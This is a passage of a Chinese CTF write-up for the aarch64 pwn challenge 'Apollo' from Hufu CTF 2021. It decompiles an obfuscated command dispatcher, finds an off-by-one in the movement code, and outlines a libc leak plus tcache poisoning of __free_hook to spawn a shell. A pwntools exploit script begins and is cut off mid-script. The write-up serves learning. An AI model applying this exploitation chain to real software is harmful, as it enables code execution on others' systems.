虎符2021 线上 Apollo & Queit

虎符2021 线上 Apollo & Queit

通过对虎符CTF 2021中两道pwn题的详细分析,来学习Arm64的相关知识

本文首发于安全客: https://www.anquanke.com/post/id/237900

简介

这两个Pwn都是基于aarch64的,而且都采用了混淆,看不出题目本来的逻辑,Ghidra干脆啥都看不出来,ida可以看汇编,因此建议读者先学一下aarch64汇编,对常用指令有基本的认识

Apollo

分析

程序为aarch64Arm64,保护全开

1
2
3
4
5
6
7
➜  apollo checksec apollo         
[*] '/root/work/ctf/race/2021/hufuctf/apollo/apollo'
Arch: aarch64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

用ida分析一下,这里申请了一个 0x1000的堆块,并且向堆块中写入数据,之后交由 magic函数处理

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 sub_25CC()
{
ssize_t v0; // x0
__int64 v2; // [xsp+18h] [xbp+18h]

chunk = (__int64)malloc(0x1000uLL);
if ( !chunk )
puts("Init fail!");
printf("cmd> ");
v0 = read(0, (void *)chunk, 0x1000uLL);
magic(v0);
return v2 ^ _stack_chk_guard;
}

再跟进到magic函数里就发现 ida 已经识别不出来了,我最开始觉得这些伪代码是某种寄存器初始化,或者是完全混乱的代码,所以一头扎进汇编里面去了

现在想想有点蠢,主要是没有去分析其他函数,而且人的惰性很可怕,看一会汇编看不出来之后,后面也看不进去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
void magic()
{
_QWORD v0[12]; // [xsp+58h] [xbp+58h]

v0[0] = off_14010;
v0[1] = off_14018[0];
v0[2] = off_14020[0];
v0[3] = off_14028[0];
v0[4] = off_14030[0];
v0[5] = off_14038[0];
v0[6] = off_14040[0];
v0[7] = off_14048[0];
v0[8] = off_14050[0];
v0[9] = off_14058;
v0[10] = off_14060;
v0[11] = off_14068;
__asm { BR X0 }
}
STP X29, X30, [SP,#var_C0]!
; 初始化与canary相关
.text:0000000000000E18 MOV X29, SP
.text:0000000000000E1C STR X19, [SP,#0xC0+var_B0]
.text:0000000000000E20 ADRP X0, #0x13000
.text:0000000000000E24 LDR X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000E28 LDR X1, [X0]
.text:0000000000000E2C STR X1, [X29,#0xC0+var_8]
.text:0000000000000E30 MOV X1, #0 ; canary
.text:0000000000000E34 ADRP X0, #off_14010@PAGE
.text:0000000000000E38 ADD X1, X0, #off_14010@PAGEOFF
.text:0000000000000E3C ADD X0, X29, #0x58 ; 'X'
.text:0000000000000E40 LDP X2, X3, [X1] ; pop x1 to x2 and x3
.text:0000000000000E44 STP X2, X3, [X0] ; push x2 x3 to x0
.text:0000000000000E48 LDP X2, X3, [X1,#0x10]
.text:0000000000000E4C STP X2, X3, [X0,#0x10]
.text:0000000000000E50 LDP X2, X3, [X1,#0x20]
.text:0000000000000E54 STP X2, X3, [X0,#0x20]
.text:0000000000000E58 LDP X2, X3, [X1,#0x30]
.text:0000000000000E5C STP X2, X3, [X0,#0x30]
.text:0000000000000E60 LDP X2, X3, [X1,#0x40]
.text:0000000000000E64 STP X2, X3, [X0,#0x40]
.text:0000000000000E68 LDP X1, X2, [X1,#0x50]
.text:0000000000000E6C STP X1, X2, [X0,#0x50]
.text:0000000000000E70 ADRP X0, #off_13F98@PAGE
.text:0000000000000E74 LDR X0, [X0,#off_13F98@PAGEOFF]
.text:0000000000000E78 LDR X0, [X0]
.text:0000000000000E7C STR X0, [X29,#0xC0+var_78]
.text:0000000000000E80 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000E84 STR X0, [X29,#0xC0+var_70]
.text:0000000000000E88 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000E8C LDRB W0, [X0]
.text:0000000000000E90 MOV W1, W0
; 获取jump_table
.text:0000000000000E94 ADRP X0, #off_13FE8@PAGE ; "\n"
.text:0000000000000E98 LDR X0, [X0,#off_13FE8@PAGEOFF] ; "\n"
.text:0000000000000E9C SXTW X1, W1
;通过我们的输入来索引jump_table
.text:0000000000000EA0 LDR W0, [X0,X1,LSL#2]
.text:0000000000000EA4 SXTW X0, W0
.text:0000000000000EA8 LSL X0, X0, #3
; 获取func_table
.text:0000000000000EAC ADD X1, X29, #0x58 ; 'X'
; 索引要跳转的函数
.text:0000000000000EB0 LDR X0, [X1,X0]
.text:0000000000000EB4 B loc_ED0

通过分析 magic函数的汇编代码,我们发现了两个数组

  • 位于 0x014010func_table
  • 位于 0x03770jump_table

在函数运行过程中,会将用户输入的第一个字符转换成 ascii码,与 jump_table进行匹配,获取到索引值,如果索引值不是 11的话(func_table只有11个函数)

就依照此索引找到 func_table中的函数并执行

func_table

1
2
3
4
5
6
7
8
9
10
11
12
.data:0000000000014010 off_14010       DCQ loc_EB8
.data:0000000000014018 off_14018 DCQ sub_1018
.data:0000000000014020 off_14020 DCQ sub_11F4
.data:0000000000014028 off_14028 DCQ sub_1394
.data:0000000000014030 off_14030 DCQ sub_14D4
.data:0000000000014038 off_14038 DCQ sub_1620
.data:0000000000014040 off_14040 DCQ sub_1990
.data:0000000000014048 off_14048 DCQ sub_1D10
.data:0000000000014050 off_14050 DCQ sub_2080
.data:0000000000014058 off_14058 DCQ sub_2400
.data:0000000000014060 off_14060 DCQ sub_2550
.data:0000000000014068 off_14068 DCQ sub_2514

jump_table

在IDA中,jump_table可能并不是以数组的形式显示,这会影响我们的判断,因此需要先进行处理

首先选中 dword_3770,右键选择 undefine来重置变量类型,接着按 D键(右键选择data)把数据格式转换为4字节(DCD)

之后右键选择 array, size选择256,即可将8位数据转化为数组

这里插播一点关于aarch64伪指令的小知识

  • DCB分配一段字节的内存单元,其后的每个操作数都占有一个字节
  • DCW分配一段半字的内存单元,其后的每个操作数都占有两个字节
  • DCD分配一段字的内存单元,其后的每个操作数都占有4个字节
  • DCQ分配一段双字的内存单元,其后的每个操作数都占有8个字节
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.rodata:0000000000003770 jump_table      DCD 0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
.rodata:0000000000003770 DCD 0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
.rodata:0000000000003770 DCD 0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
.rodata:0000000000003770 DCD 0xB, 0xB

关于 func_tablejump_table之间的匹配关系,我们可以通过脚本来转化, 最后结果如下:

这里的脚本引用自轩哥博客:https://xuanxuanblingbling.github.io/ctf/pwn/2021/04/03/hufu/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
jump_table = [0xA, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 1, 3
,0xB, 4, 0xB, 2, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 7, 0xB
,0xB, 8, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 9, 0xB, 0xB, 6, 0xB, 0xB, 0xB, 5, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB, 0xB
,0xB, 0xB]
func_table = ["loc_EB8"
,"sub_1018"
,"sub_11F4"
,"sub_1394"
,"sub_14D4"
,"sub_1620"
,"sub_1990"
,"sub_1D10"
,"sub_2080"
,"sub_2400"
,"sub_2550"
,"sub_2514"]
index = 0
for i in jump_table:
if i != 0xb:
print("%s:%d:%s"%(chr(index),i,func_table[i]))
index += 1
➜ apollo python jump_table.py
:10:sub_2550
*:1:sub_1018
+:3:sub_1394
-:4:sub_14D4
/:2:sub_11F4
M:0:loc_EB8
a:7:sub_1D10
d:8:sub_2080
p:9:sub_2400
s:6:sub_1990
w:5:sub_1620

关键函数功能分析

通过以上分析我们已经找到了输入与函数调用之间的关系,那么下一步就是分析每个函数所对应的功能,但分析的时候我们发现很多函数中有未知的全局变量,不太好分析,因此我们先找一下这些全局变量在什么地方被赋值

sub_2550 -> finish

这个函数非常简单,直接输出finish并退出

1
2
3
4
5
void __noreturn finish()
{
puts("Finish");
exit(1);
}
loc_eb8 -> init

这个函数比较特殊,如果在ida中按 F5反编译的话,会直接显示 magic的伪代码,也就是说ida把它认作了 magic函数的一部分

(其实也没啥错,毕竟函数跳转之后栈帧都没变,但这样比较影响我们分析,因此要将 loc_eb8magic分离)

  • sub_E14处右键Edit function,设置end address0xeb8

  • loc_EB8处右键 Create function ,然后F5即可:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    __int64 sub_EB8()
    {
    __int64 v0; // x29
    // v0+0x48指向用户输入
    if ( dword_14098
    || (input_char_1 = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 1LL),// 用户输入的第一个字符
    input_char_2 = *(unsigned __int8 *)(*(_QWORD *)(v0 + 72) + 2LL),// 输入的第二个字符
    input_char_1 > 16)
    || input_char_2 > 16
    || input_char_1 <= 3
    || input_char_2 <= 3 )
    {
    puts("Abort");
    exit(255);
    }
    qword_14088 = (__int64)calloc(input_char_1 * input_char_2, 1uLL);
    qword_14090 = (__int64)calloc(input_char_1 * input_char_2, 1uLL);
    dword_14098 = 1;
    *(_QWORD *)(v0 + 72) += 3LL; // 指向用户输入的第三个字符
    return (*(__int64 (**)(void))(v0 + 88 + 8LL * jump_table[**(unsigned __int8 **)(v0 + 72)]))();// 跳转
    }

这个函数的伪代码比较全,v0在arm64中保存的是栈基址,类似于x64中的rbp,如果你对之前 sub_e14汇编的逻辑比较了解的话,应该能意识到 v0+72指向的就是我们输入的内容

为了方便之后的分析,我们为v0建立一个结构体,过程如下:

首先进入 IDA中的 Structures窗口

这里前四行是Structures选项卡的使用说明,后三行是IDA自带的结构体,前四行翻译过来就是:

  • Insert/Delete键 创建和删除结构体
  • D/A/*键 添加不同类型的结构体成员,这里要注意光标位置不同D键的作用也不同
  • N键 对结构体或结构体成员重命名
  • U键 删除结构体成员

我们在这里按 insert新建结构体,出现如下界面,直接取个名字然后确定

img

之后按照之前分析的结果 v0+72是我们的输入,v0+58对应的是 func_table,因此我们的结构体可以先这样构造:

1
2
3
4
5
6
00000000 apollo_struct   struc ; (sizeof=0xA8, mappedto_33)
00000000 data1 DCB 72 dup(?)
00000048 input DCB 16 dup(?)
00000058 func_table DCB 80 dup(?)
000000A8 apollo_struct ends
000000A8

完成后回到函数中,右键 v0,点击 convert to struct *,选择我们新建的结构体,效果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 m_init()
{
apollo_struct *v0; // x29
// v0+0x48指向用户输入
if ( init_flag
|| (y = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL),// 用户输入的第一个字符
x = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL),// 输入的第二个字符
y > 16)
|| x > 16
|| y <= 3
|| x <= 3 )
{
puts("Abort");
exit(255);
}
calloc_1 = (__int64)calloc(y * x, 1uLL);
calloc_2 = (__int64)calloc(y * x, 1uLL);
init_flag = 1;
*(_QWORD *)v0->input += 3LL; // 指向用户输入的第三个字符
return (*(__int64 (**)(void))&v0->func_table[8 * jump_table[**(unsigned __int8 **)v0->input]])();// 跳转
}

这样这个函数的功能就完全清晰了,结合题目 开车的hint,这应该是一个 init函数

根据用户的输入初始化道路,申请两个chunk并且把 init_flag置1

sub_1018 -> add

这个函数的主要功能是申请堆块

首先将用户输入的第1~4个字符赋值给相应变量

接着做相应检查,将输入的 char1 char2 与 x y做比较,并且检查 calloc_1中 y*char1+char2位置是否已经有值, 如果没有值的话就将其置1

之后还有一个 size变量, size = char3 + char4<<8

之后会申请一个chunk,其大小为size,chunk地址存入 map+y*char1+char2

之后 read(0,map+y*char1+char2,size)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void add()
{
apollo_struct *v0; // x29
int v1; // w19

if ( init_flag )
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
*(_DWORD *)&v0->data1[0x3C] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 3LL);
*(_DWORD *)&v0->data1[0x40] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 4LL);
*(_DWORD *)&v0->data1[0x44] = *(_DWORD *)&v0->data1[0x3C] + (*(_DWORD *)&v0->data1[0x40] << 8);// input_3 + input_4 << 8
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& !*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34])
&& *(int *)&v0->data1[0x44] > 0
&& *(int *)&v0->data1[0x44] <= 0x600 )
{
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 1;
v1 = x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34];
*((_QWORD *)&map + v1) = malloc(*(int *)&v0->data1[0x44]);
read(
0,
*((void **)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]),
*(int *)&v0->data1[0x44]);
*(_QWORD *)v0->input += 5LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
sub_11F4 -> del

和上一个函数相对,这个函数主要是释放堆块,且释放后会清空指针,因此不存在 uaf

在做一些检查后会释放 map+y*char1+char2处的堆块

并将 calloc_1 + y*char1+char2处置零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void del()
{
apollo_struct *v0; // x29

if ( init_flag ) // /
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& *(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) == 1
&& *((_QWORD *)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) )
{
free(*((void **)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]));
*((_QWORD *)&map + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0LL;// no uaf
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0;
*(_QWORD *)v0->input += 3LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
sub_1394 -> set_light

char3赋值给 calloc_1 + y*char1 + char2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void set_light()
{
apollo_struct *v0; // x29

if ( init_flag )
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
*(_DWORD *)&v0->data1[0x38] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 3LL);
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& !*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34])
&& *(int *)&v0->data1[0x38] > 1
&& *(int *)&v0->data1[0x38] <= 4 )
{
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = *(_DWORD *)&v0->data1[0x38];
*(_QWORD *)v0->input += 4LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
sub_14D4 -> del_light

calloc_1 + y*char1+char2位置置零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void del_light()
{
apollo_struct *v0; // x29

if ( init_flag )
{
*(_DWORD *)&v0->data1[0x30] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 1LL);
*(_DWORD *)&v0->data1[0x34] = *(unsigned __int8 *)(*(_QWORD *)v0->input + 2LL);
if ( *(_DWORD *)&v0->data1[0x30] < y
&& *(_DWORD *)&v0->data1[0x34] < x
&& *(unsigned __int8 *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) > 1u
&& *(unsigned __int8 *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) <= 4u )
{
*(_BYTE *)(calloc_1 + x * *(_DWORD *)&v0->data1[0x30] + *(_DWORD *)&v0->data1[0x34]) = 0;
*(_QWORD *)v0->input += 3LL;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x256CLL);
}
puts("Abort");
exit(255);
}
sub_02400 -> show

这个函数的作用是输出

它会遍历小车行进的整个路线,如果当前位置的值为1,则输出该位置的坐标以及对应chunk的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void show()
{
apollo_struct *v0; // x29

if ( init_flag )
{
*(_DWORD *)&v0->data1[0x24] = 0;
for ( *(_DWORD *)&v0->data1[0x24] = 0; *(_DWORD *)&v0->data1[0x24] < y * x - 1; ++*(_DWORD *)&v0->data1[0x24] )
{
*(_DWORD *)&v0->data1[0x28] = *(_DWORD *)&v0->data1[0x24] / x;// get now_y
*(_DWORD *)&v0->data1[0x2C] = *(_DWORD *)&v0->data1[0x24] - x * *(_DWORD *)&v0->data1[0x28];// get now_x
if ( *(_BYTE *)(calloc_1 + *(int *)&v0->data1[0x24]) == 1 )
{
printf("pos:%d,%d\n", *(unsigned int *)&v0->data1[0x28], *(unsigned int *)&v0->data1[0x2C]);
puts(*((const char **)&map + *(int *)&v0->data1[0x24]));
}
}
++*(_QWORD *)v0->input;
JUMPOUT(0xED0LL);
}
JUMPOUT(0x25B8LL);
sub_1620[down], sub_1990[up], sub_1d10[left], sub_2080[right]

这几个函数对应的输入索引是 w a s d,因此应该能猜出来其对应的功能是控制小车运动

此外,这几个函数中出现了三个未知的变量 dword_140A4 dword_140A8以及 dword_14080

通过这段代码,结合函数的功能,猜测dword_140A4x相关,dword_140A8y相关,而 dword_14080应该是用来记录操作步数的

1
2
v1 = dword_14080++;
*(_BYTE *)(calloc_2 + dword_140A4 * y + dword_140A8) = v1;

具体是不是这样,我们可以进去调试一下,经过调试后发现,当我们不进行任何操作,在初始化后就直接调用 w a s d对应的函数时

dword_140A4 dword_140A8以及 dword_14080都为0

而当我们控制小车运动时,这几个变量的值也会相应发生变化,那么也就验证了我们的猜测。

img

在此我已up函数为例来分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void s_up()
{
apollo_struct *v0; // x29
char v1; // w0

if ( init_flag )
{
if ( y - 1 > current_y
&& *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) != 1
&& *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) != 4 )
{
*(_BYTE *)(calloc_1 + current_y * x + current_x) = 0;
if ( *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) )
{
if ( *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) == 2
|| *(_BYTE *)(calloc_1 + (current_y + 1) * x + current_x) == 3 )
{
*(_BYTE *)(calloc_1 + (current_y + 2) * x + current_x) = 5;
current_y += 2;
}
}
else
{
*(_BYTE *)(calloc_1 + ++current_y * x + current_x) = 5;
}
}
v1 = step_count++;
*(_BYTE *)(calloc_2 + current_y * x + current_x) = v1;
++*(_QWORD *)v0->input;
JUMPOUT(0xED0LL);
}
puts("Abort");
exit(255);
}

当小车的前方位置值不是 1或4时,小车前进 1格,之后将所在位置的值置为 5

当小车的前方位置值是 2或3时,小车前进 2格,之后将所在位置的值置为 5

函数对于 current_y的限制是y - current_y > 1,这就造成了一个 off-by-one,如果我们令y - current_y = 2

那么前进过后 current_y = y, current_y * x = x * y, 此时 *(_BYTE *)(calloc_2 + current_y * x + current_x) = v1就会溢出一个字节,溢出的位置由 current_x决定

总结

至此我们已经完成了所有重点函数的分析,函数索引表也可以更新一下了

1
2
3
4
5
6
7
8
9
10
11
:10:finish  
*:1:add
+:3:set_light
-:4:del_light
/:2:del
M:0:init
a:7:left
d:8:right
p:9:show
s:6:up
w:5:down

利用思路

在完整的理清了程序的逻辑与漏洞点后,我们就可以开始构思利用思路了

实际上在看懂程序后,这道题的思路很简单,就是利用 off by one构造堆块重叠,之后通过重叠泄露libc基地址

再利用 tcache poison将堆块申请到 free_hook位置,写入 system

最后释放一个内容为 /bin/sh\x00的堆块,getshell

泄露libc

这里我采用的方法比较简单暴力,首先申请若干 0x20大小的chunk和 0xa0大小的chunk,之后释放 0xa0大小的chunk使其填满 tcache

只有利用 off-by-one修改第一个 0x20大小chunk的size为0xa1,并将其释放,这时由于 0xa0的tcache已经被填满,且堆块的大小已经超出了 fastbin的范围,因此会被放入 unsorted bin中,此时这个chunk中就会被写入 libc base相关的地址,之后申请一个 0x40大小的chunk,使得 libc base相关地址落在实际上没有被释放的堆块上,这样我们再调用 show功能时就能获得 libc base地址

tcache poison

此时我们已经知道了 libc基址

因此,这一步只需要利用上一步构造的堆块重叠,通过越界写的方式将 free_hook写到 tcache链上完成投毒

之后申请该chunk,写入 system地址,free一个内容为 binsh的chunk,完成整个利用,详见EXP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()

local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = '/lib/libc.so.6'
binary = './apollo'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(["qemu-aarch64", "-L", ".","-g", "1234","./apollo"])
if len(argv) > 1:
if argv[1]=='r':
p = remote('8.140.179.11',13422)
# libc = elf.libc
libc = ELF(remote_libc)

def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()

# start
# context.log_level = 'DEBUG'
"""
b *(0x4000000000+0x0e14) 跳转函数
b *(0x4000000000+0x1620)
b *(0x4000000000+0xeb8)
b *(0x4000000000+0xed0)
b *(0x4000000000+0x2400) show
b *(0x4000000000+0x2550) finish

:10:finish
*:1:add
+:3:set_light
-:4:del_light
/:2:del
M:0:init
a:7:left
d:8:right
p:9:show
s:6:up
w:5:down

map 0x40000140b0
calloc_1 0x40009af270
calloc_2 0x40009af380
current_y 0x40000140a4
current_x 0x40000140a8
step_count 0x4000014080
read_got 0x4000013f30
chunk0 0x40009af490
"""

def init(y,x):
data = 'M' + p8(y) + p8(x)
return data
def add(y,x,size):
data = '*'+p8(y)+p8(x)+p16(size)
return data
def free(y,x):
